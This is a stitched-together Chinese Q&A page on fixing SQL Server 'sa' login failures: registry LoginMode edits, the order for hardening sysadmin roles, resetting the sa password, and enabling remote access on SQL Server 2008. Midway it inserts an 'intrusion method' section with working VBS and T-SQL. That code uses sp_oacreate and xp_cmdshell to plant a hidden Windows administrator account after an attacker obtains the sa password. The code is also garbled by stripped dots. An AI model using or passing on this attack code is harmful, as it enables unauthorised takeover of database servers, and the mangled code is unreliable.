服务器上显示sa登陆失败执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误
你应该是用混合模式登录数据库吧,你看一下数据库有没有启用sa用户,程序连接字符串密码有没有错,服务器有没有错。例如你是连接本地数据库,服务器却输入了远程远程计算名或IP,那就出错啦。或者你直接在一个页面里添加一个sqldatasource控件,让它连接数据库,然后复制连接字符串到webconfig文件里替换原来那个。
不必重新安装SQL Server。要想重新访问SQL Server,您需要修改SQL Server 2000 和 SQL Server 70决定SQL Server身份验证模式的注册表键值。
在SQL Server 70中,该键为:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \MSSQLServer\MSSQLServer\LoginMode
在SQL Server 2000中,该键为:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
MicrosoftSQLServer\\MSSQLServer\LoginMode
“LoginMode”的值为0表示只进行Windows 的身份验证,为1表示验证模式为混合模式。在您把自己关在外面之后,您可以把“LoginMode”改为1,重新启动SQL Server,然后以sa(system administrator)身份登录,输入您知道的sa密码即可。
以下关于SQL Server的角色成员的信息可能会帮助您理解为什么您会把自己关在SQLServer外面。在您安装SQL Server 2000 或 70的时候,安装进程自动地为“BUILTIN\Administrators”创建一个登录帐号,该帐号为“sysadmin”角色成员。“BUILTIN\Administrators”登录帐号代表了Microsoft Windows�0�3 2000 或Microsoft Windows NT�0�3 server 上的系统管理员本地组。 Windows 2000 或 Windows NT的 “Administrator”帐户是系统管理员本地组的成员。此外,如果您的服务器是一个域的成员(包括Windows 2000 的域和Windows NT 40的域),“Domain Admins”全局组也会成为本地系统管理员组的成员。这意味着系统管理员本地组的所有成员都会自动地获得SQL Server上的“sysadmin”权限。
为了加强您的SQL Server的安全性,您可能更愿意创建您自己的组并授予它“sysadmin”权限,然后删除“BUILTIN\Administrators”登录帐号,或者至少从“sysadmin”服务器角色中删除它。使用这种方法,您可以较好地对谁可以访问您的SQL Server进行控制。这种方法也断开了SQL Server 系统管理员和Windows 2000 或 Windows NT 管理员之间的联系, 因为他们通常有不同的任务,并且需要不同的权限。为了加强安全性,您可能想把SQL Server配置成只支持Windows身份验证。但是,必须要记住:这种配置会禁用您的“sa”帐户。(这个方法可能是禁用“sa”帐户的唯一方法,因为您不能删除“sa”帐户。)如果您以错误的顺序实施了这个安全措施,您将不能再以>“sysadmin”的身份登录到SQL Server上,除非按照我上面所说的方法修改注册表键值。正确的顺序是:
创建Windows 2000 或者 Windows NT 用户组并为组分配成员。例如:创建一个叫做“SQLAdmins”的组。
把“SQLAdmins”映射为SQL Server里的一个用Windows身份验证方式验证登录的帐户,并把该帐户分派到“sysadmin”服务器角色。
删除“BUILTIN\Administrators”登录帐户或者把它从“sysadmin”服务器角色中删除。
把SQL Server的身份验证模式改为“仅进行Windows身份验证”。
重新启动SQL Server 以反映身份验证模式的变化。
注意: 如果您以下面的这种错误顺序实施这些步骤:删除“BUILTIN\Administrators”登录帐户,改变SQL Server 的身份验证模式为“仅进行Windows身份验证”,然后重新启动SQL Server,那么“sa” 帐户将被禁用,并且因为没有定义其它Windows身份验证登录帐户而无法进入SQL Server。为了避免这种情况发生,请以正确的顺序实施这些安全措施。
另一方法: 0)停掉你现有的数据库服务。 1)新建一个实例,就是重新安装一次sql server,以下称为new 2)把你旧的数据库实例(以下称为old)的mastermdf , masterldf copy到一个文件夹 3) 在new中,通过attach db的方式把文件夹中的两个文件加为new中的数据库,当然名称和位置在添加的时候都要改的。 4)在new 中,通过语句的方式,把master中的表sysxlogins 中sa的密码更新到你刚添加的数据库(old中的master)的表sysxlogins中对应的sa 的密码字段。 5)把你刚添加的数据库(old中的master)在new中detachdb,然后把文件覆盖掉old中对应文件(覆盖前把文件备份) 6)重新启动old服务器,看是否可行 7)卸载new服务器
解决办法一
1)将登录方式设为"混合认证"(右击服务器->选择"安全性"->点选"Sql Server"和Windows身份认证模式)
前提是已经启用了数据库的混合身份验证,即sa用户已经启用。
3)设置sa账户(数据库->安全性(与上面的不是同一个,这个不用右击)->登录名->sa账户->设置密码->用户映射->映射到你的数据库
3)重启服务Sql server(net stop mssqlserver)
解决办法二
先看看数据库有没有混合身份验证,同时查看即sa用户已经启用。在都已启用的情况下,再如下图设置。
在数据库右键属性:文件--〉所有者--〉选择用户sa,即可用此sa用户登录数据库
以上面的方法设置好后,就可以作用了
[知识] SQL Server SA权限最新入侵方法
在获得SA密码后,往往因为服务器管理者或”前人”将netexe和net1exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下:
set wsnetwork=CreateObject("WSCRIPTNETWORK")
os="WinNT://"&wsnetworkComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=obCreate("user","test") '建立用户
odSetPassword "1234" '设置密码
odSetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oeadd os&"/test"
将上面的代码保存为1vbs,然后执行,命令为“cscript 1vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scriptingfilesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPTNETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=obCreate
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'odSetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'odSetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oeadd os&"/test"'
执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示“c:\1vbs正被另一个程序运行”而无法成功添加用户:
exec masterxp_cmdshell 'cscript c:\1vbs'
如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将代码写到1vbs中,代码格式为:
exec masterxp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPTNETWORK")
>>1vbs'
哪个版本SQL SERVER?
SQL Server 2008默认是不允许远程连接的,sa帐户默认禁用的,如果想要在本地用SSMS连接远程服务器上的SQL Server 2008,需要做两个部分的配置:
1,SQL Server Management Studio Express(简写SSMS)
2,SQL Server 配置管理器/SQL Server Configuration Manager(简写SSCM)
有两点要注意:
1,2005的外围应用配置器在2008中换了地方
2,有些设置生效需要重启一下SQL Server
step 1: 打开SSMS,用windows身份连接数据库,登录后,右键选择“属性”
step 2: 左侧选择“安全性”,选中右侧的“SQL Server 和 Windows 身份验证模式”以启用混合登录模式
step 3: 选择“连接”,勾选“允许远程连接此服务器”,然后点“确定”
step 4: 展开“安全性”->“登录名”->“sa”,右键选择“属性”
step 5: 左侧选择“常规”,右侧选择“SQL Server 身份验证”,并设置密码
step 6: 选择“状态”,选中“启用”,点击“确定”
step 7: 右击数据库选择“方面”
step 8: 将“RemoteAccessEnabled”属性设为“True”,点“确定”
step 9: 至此SSMS已设置完毕,先退出,再用sa登录,成功即表示sa帐户已经启用
step 10: 下面开始配置SSCM,选中左侧的“SQL Server服务”,确保右侧的“SQL Server”以及“SQL Server Browser”正在运行
step 11: 以下为英文版本界面。如图:右侧的TCP/IP默认是“Disabled”,双击打开设置面板将其修改为“Enabled”
step 12: 选择“IP Addersses”选项卡,设置端口“1433”
step 13: 如图将"Client Protocols"的"TCP/IP"也修改为“Enabled”
step 14: 配置完成,重新启动SQL Server 2008。
此时应该可以使用了,但是还是要确认一下防火墙。
SQL Server 2005/2008 Express安装以后,默认情况下是禁用远程连接的。如果需要远程访问,需要手动配置。
打开防火墙设置。将SQLServrexe(C:\Program Files\Microsoft SQL Server\MSSQL10SQLEXPRESS\MSSQL\Binn\sqlservrexe)添加到允许的列表中。
0条评论